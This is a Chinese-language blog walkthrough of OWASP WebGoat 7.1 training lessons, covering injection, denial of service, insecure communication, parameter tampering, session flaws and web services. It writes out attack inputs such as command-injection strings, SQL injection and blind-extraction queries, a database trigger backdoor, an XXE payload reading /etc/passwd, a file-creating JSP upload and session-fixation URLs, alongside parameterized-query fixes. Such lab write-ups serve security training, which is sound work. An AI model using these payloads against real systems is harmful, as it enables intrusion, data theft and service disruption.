1. 程式人生 > >webgoat 7.1 實戰指南 - 下

webgoat 7.1 實戰指南 - 下

阻止 rec bsp 圖片 pda pps simditor 分享圖片 輸入驗證

webgoat 7.1 實戰指南 - 下

Injection Flaws

Command Injection(命令註入)

對任何一個參數驅動的網站,命令註入攻擊代表一個嚴重的威脅。在攻擊後面的方法很容易學習,引起的破壞範圍從相當大的範圍到整個系統。盡管存在這些風險,在互聯網上易受此種形式攻擊的系統數量令人難以置信。
它不僅是一個容易唆使的威脅,它也是一個有一點常識和遠見就可以被完全阻止的威脅。本課程將向學生展示幾個參數註入的例子。
清潔所有的輸入數據總是一個好的實踐,尤其是將被用於OS命令、腳本和數據庫查詢的數據。


嘗試向操作系統註入一個命令。
使用代理攔截請求,在HelpFile後添加腳本:【BasicAuthentication.help;ipconfig" 】 或【BasicAuthentication.help;netstat -an"】(此處如果使用&代替“;”,則會把ipconfig或netstat 當做一個參數,具體原因不詳),命令後的雙引號不能丟掉。


註:要實現上述功能,需要對源碼做一些修改,位置:org.owasp.webgoat.plugin.CommandInjection,其源碼對所能使用的腳本命令進行了限制,需要根據實際使用的操作系統進行修改,本人使用的是Windows操作系統,將List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -a", "ipconfig");修改為List<String> VALID_WINDOWS_CMDS = Lists.newArrayList("dir", "ls", "netstat -an", "ipconfig");
將136行的fileData = exec(s, "cmd.exe /c type \"" + new File(safeDir, helpFile).getPath() + "\"");修改為fileData = exec(s, "cmd.exe /c type \"" + safeDir.getPath()+ "\"" + "&" + finalCom);,保存源文件,重新打包成jar文件。執行成功如下圖所示:

技術分享圖片

選擇幫助文件,點擊view:

技術分享圖片

代理攔截請求,修改HelpFile=的內容:

技術分享圖片

查看到 /etc/passwd 內容:

技術分享圖片

Numeric SQL Injection(數字型註入)

對於任何數據庫驅動的網站,SQL註入攻擊代表一個嚴重的威脅。在攻擊後面的方法很容易學習,引起的破壞範圍從相當大的範圍到整個系統。盡管存在這些風險,在互聯網上易受此種形式攻擊的系統數量令人難以置信。
它不僅是一個容易唆使的威脅,它也是一個有一點常識和遠見就可以被完全阻止的威脅。本課程將向學生展示幾個參數註入的例子。
清潔所有的輸入數據總是一個好的實踐,尤其是將被用於OS命令、腳本和數據庫查詢的數據,即使SQL註入威脅被某種方式阻止。
目標:
下述表單允許一個用戶查看天氣數據。嘗試註入SQL字符串,使得顯示所有的天氣數據。
使用代理攔截請求,將參數station=101修改為station=101 or 1 = 1,然後提交請求,如下圖所示:
技術分享圖片

技術分享圖片

技術分享圖片

Log Spoofing(日誌欺騙)

灰色區域表示Web服務器日誌上記錄的信息;
目標是使像admin這樣的用戶成功的登錄;
通過增加腳本來提升日誌文件的攻擊。
在用戶名輸入:“smith%0D%0ALogin Succeeded for username admin”,密碼隨便輸入,點擊Login,如下圖所示:
技術分享圖片

技術分享圖片

XPATH Injection

下述表單允許員工查看包含薪水的所有他們的個人信息。你的賬號是Mike/test123。你的目標是嘗試查看其他員工的數據。
1、 XPATH 註入類似於 SQL 註入。通過未驗證的輸入創建一個 XPATH 查詢。下面你能看到如何構建一個 XPATH 查詢。該頁面代碼如下:
String dir = LessonUtil.getLessonDirectory(s, this) + "/xml/" + "/EmployeesData.xml";
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()=‘" + username + "‘ and passwd/text()=‘" + password + "‘]";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);


2、 在用戶名處註入 Smith‘ or 1=1 or ‘a‘=‘a,這將會顯示你登錄系統的第一個用戶。密碼是必須的字段,可以任意輸入。

3、 以下是服務器獲取的:
expression = "/employees/employee[loginID/text()=‘Smith‘ or 1=1 or ‘a‘=‘a‘ and passwd/text()=‘xxx‘]"

技術分享圖片


3. 以下是服務器解析後的結果:
expression = "/employees/employee[ ( loginID/text()=‘Smith‘ or 1=1 ) OR ( ‘a‘=‘a‘ and passwd/text()=‘xxx‘ ) ]

技術分享圖片

技術分享圖片

String SQL Injection(字符串註入)

對於任何數據庫驅動的網站,SQL註入攻擊代表一個嚴重的威脅。在攻擊後面的方法很容易學習,引起的破壞範圍從相當大的範圍到整個系統。盡管存在這些風險,在互聯網上易受此種形式攻擊的系統數量令人難以置信。
它不僅是一個容易唆使的威脅,它也是一個有一點常識和遠見就可以被完全阻止的威脅。本課程將向學生展示幾個參數註入的例子。
清潔所有的輸入數據總是一個好的實踐,尤其是將被用於OS命令、腳本和數據庫查詢的數據,即使SQL註入威脅被某種方式阻止。
目標:
下述表單允許用戶瀏覽他們的信用卡號。嘗試註入SQL字符串以使的所有信用卡號被顯示。嘗試用用戶“Smith”。
在用戶名裏輸入:Smith‘ or ‘1‘ = ‘1,點擊查詢,如下所示:
技術分享圖片

技術分享圖片

LAB: SQL Injection

階段1:String SQL Injection

使用字符串SQL註入繞過認證。使用SQL註入以Boss(“Neville”)登錄而不需要正確的密碼。驗證Neville的簡介可被查看,所有其他功能可用(包含查詢、創建和刪除)。
使用代理攔截請求,修改password=‘ or‘1‘=‘1,然後提交請求,如下圖所示:
技術分享圖片

技術分享圖片

技術分享圖片

階段2:Parameterized Query #1(修復方式:參數化查詢)
使用一個參數化查詢來阻止SQL註入
實施修復來阻止登錄頁字段的SQL註入問題。重復階段1。驗證攻擊不再生效。
修改org.owasp.webgoat.plugin.sqlinjection.LoginSqlInjection.java的login方法,將String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = ‘" + password + "‘";修改為String query = "SELECT * FROM employee WHERE userid = ? and password = ?";
在try塊內增加如下代碼,同時註釋掉相關代碼:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,password);
ResultSet answer_results = ps.executeQuery();
完成上述代碼後,打包,重新運行,使用OWASP ZAP攔截請求,修改password=‘ or‘1‘=‘1,然後提交請求,如下圖所示:
技術分享圖片

階段3:Numeric SQL Injection
繞過認證執行SQL註入。
作為正常員工“Larry”,在查看功能(從員工列表頁)的參數裏使用SQL註入查看boss(“Neville”)的簡介。
使用代理攔截請求,將employee_id參數修改為:101 or 1=1 order by salary desc,如下圖所示:
技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

階段4:Parameterized Query #2 (修復方式:參數化查詢)
使用參數化查詢阻止SQL註入。
實施修復來阻止登錄頁字段的SQL註入問題。重復階段3。驗證攻擊不再生效。
修改:org.owasp.webgoat.plugin.sqlinjection.ViewProfileSqlInjection.java
將String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
修改為String query = "SELECT employee.* "
+ "FROM employee,ownership WHERE employee.userid = ownership.employee_id and "
+ "ownership.employer_id = ? and ownership.employee_id = ?";
在try塊內增加,並註銷掉相關代碼:
Connection connection = WebSession.getConnection(s);
PreparedStatement ps = (PreparedStatement) connection.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
ps.setString(1,userId);
ps.setString(2,subjectUserId);
ResultSet answer_results = ps.executeQuery();
如下圖所示:
技術分享圖片

Database Backdoors(數據庫後面)

101;update employee set salary=1234567 where userid=101

技術分享圖片

101;create trigger mybackdoor

before insert on employee foreach row begin update

employee setemail=’[email protected]’ where userid=new.userid

技術分享圖片

Blind Numeric SQL Injection(數字型盲註)

101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 1000 );

技術分享圖片

技術分享圖片

一直用二分法找到數字是2364

技術分享圖片

Blind String SQL Injection(字符串盲註)

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 1, 1) < ‘H’ );

技術分享圖片

第二個字符:改成2,以此類推。

101 AND (SUBSTRING((SELECT name FROM pinsWHERE cc_number=’4321432143214321′), 2, 1) < ‘H’ );

答案找到是Jill

技術分享圖片

Denial of Service(拒絕服務攻擊)

ZipBomb(壓縮包炸彈)

服務器只接受ZIP文件,在上傳後提取它們,並與其一起刪除,並提供20 MB的臨時存儲來處理所有請求,嘗試執行DOS攻擊,消耗所有臨時存儲與一個請求

簡單來說,一直上傳低於20M的壓縮包,把服務器弄崩潰

Denial of Service from Multiple Logins

先獲取所有帳號

技術分享圖片

打開三個頁面

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

Insecure Communication(不安全的通訊)

Insecure Login(不安全登錄)

使用調試器看到密碼

技術分享圖片

技術分享圖片

第二階段改成https

技術分享圖片

技術分享圖片

Insecure Storage(不安全存儲)

Encoding Basics(加密基礎)

技術分享圖片

Malicious Execution(惡意執行)

Malicious File Execution(惡意文件執行)

<HTML>

<% java.io.File file= newjava.io.File("/.extract/webapps/WebGoat/mfe_target/webgoat.txt");file.createNewFile();%>

</HTML>

保存成jsp上傳

技術分享圖片

http://192.168.8.89:8080/WebGoat/uploads/1.jsp,再刷新一下瀏覽器即可

Parameter Tampering(參數修改)

Bypass HTML Field Restrictions

將表單啟用,再使用burpsuit抓包,隨便修改6個參數內容

技術分享圖片

技術分享圖片

技術分享圖片

XML External Entity (XXE)

<?xml version="1.0"?>

 <!DOCTYPE Header [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<searchForm> <from>&xxe;</from></searchForm>

技術分享圖片

Exploit Hidden Fields(利用隱藏的字段)

簡單來說,就是改了前端的值

技術分享圖片

技術分享圖片

Exploit Unchecked Email

此表格是客戶支持頁面的示例。 使用下面的表單嘗試:

1)向網站admin發送惡意腳本。

2)從OWASP向“朋友”發送惡意腳本。

技術分享圖片

技術分享圖片

技術分享圖片

Bypass Client Side JavaScript Validation

該網站執行客戶端和服務器端驗證。 對於此練習,您的工作是打破客戶端驗證並發送不期望的網站輸入。 您必須同時打破所有7個驗證器。

技術分享圖片

技術分享圖片

技術分享圖片

Session Management Flaws

Hijack a Session(點擊劫持)

參考視頻:https://www.youtube.com/watch?v=FA5FjjV4L7Y

Cookie裏面的WEAKID這個參數是會話標識。我們知道如果客戶端發送給Web服務器的請求裏面沒有會話標識的話,服務器會從新生成一個新的會話標識並通過Cookie返回給客戶端

技術分享圖片

發送數據包到sequencer選項

技術分享圖片

技術分享圖片

由於burpsuite的fuzz不到cookie的位置,故顯示不了效果,具體的可以參照視頻。

技術分享圖片

技術分享圖片

Spoof an Authentication Cookie(欺騙認證Cookie)

Webgoat:AuthCookie=65432ubphcfx

Aspect:AuthCookie=65432udfqtb

alice用戶的cookie是65432,ecilaèfdjmb

分析cookie,64532是不變的,後面的字符串是經歷逆轉字符串,然後往後推一位

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

Session Fixation(會話固定)

在網站後面添加&SID=45

技術分享圖片

技術分享圖片

按照提示輸入用戶名和密碼

技術分享圖片

技術分享圖片

第四步,直接打開192.168.8.89:8080/WebGoat/start.mvc#attack/2007866518/1800&SID=45

技術分享圖片

Web Services

Create a SOAP Request

Web服務通過使用SOAP請求進行通信。 這些請求被提交給Web服務,試圖執行在Web服務定義語言(WSDL)中定義的功能。 讓我們來了解一些關於WSDL文件的內容。 查看WebGoat的Web服務描述語言(WSDL)文件。

一般目標:

嘗試使用瀏覽器或Web Service工具連接到WSDL。 Web服務的URL是:http://localhost/WebGoat/services/SoapRequest通常可以在Web服務請求的末尾添加一個WSDL來查看WSDL。 您必須訪問2個操作才能通過本課程。

攔截請求並通過發送有效的帳戶的有效SOAP請求來調用任何方法。

您必須至少訪問2個方法來傳遞課程。

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

使用burpsuit的wsdler插件分析SOAP,但是測試發現無法完成該課程,思路是對的,只是它的驗證方法可能與我不對。

技術分享圖片

WSDL Scanning

技術分享圖片

技術分享圖片

修改參數內容

技術分享圖片

Web Service SAX Injection

Web服務通過使用SOAP請求進行通信。 這些請求被提交給Web服務,以嘗試執行在Web服務定義語言(WSDL)文件中定義的功能。

一般目標:

一些Web界面在後臺使用Web服務。 如果前端依賴於Web服務進行所有輸入驗證,則可能會破壞Web界面發送的XML。

在本練習中,嘗試更改101以外的用戶的密碼。

在輸入框輸入下面內容

<id xsi:type=‘xsd:int‘>102</id>

<password xsi:type=‘xsd:string‘>P@$$w0rd?</password>

技術分享圖片

Web Service SQL Injection

使用burpsuit的插件wsdler

技術分享圖片

技術分享圖片

技術分享圖片

技術分享圖片

webgoat 7.1 實戰指南 - 下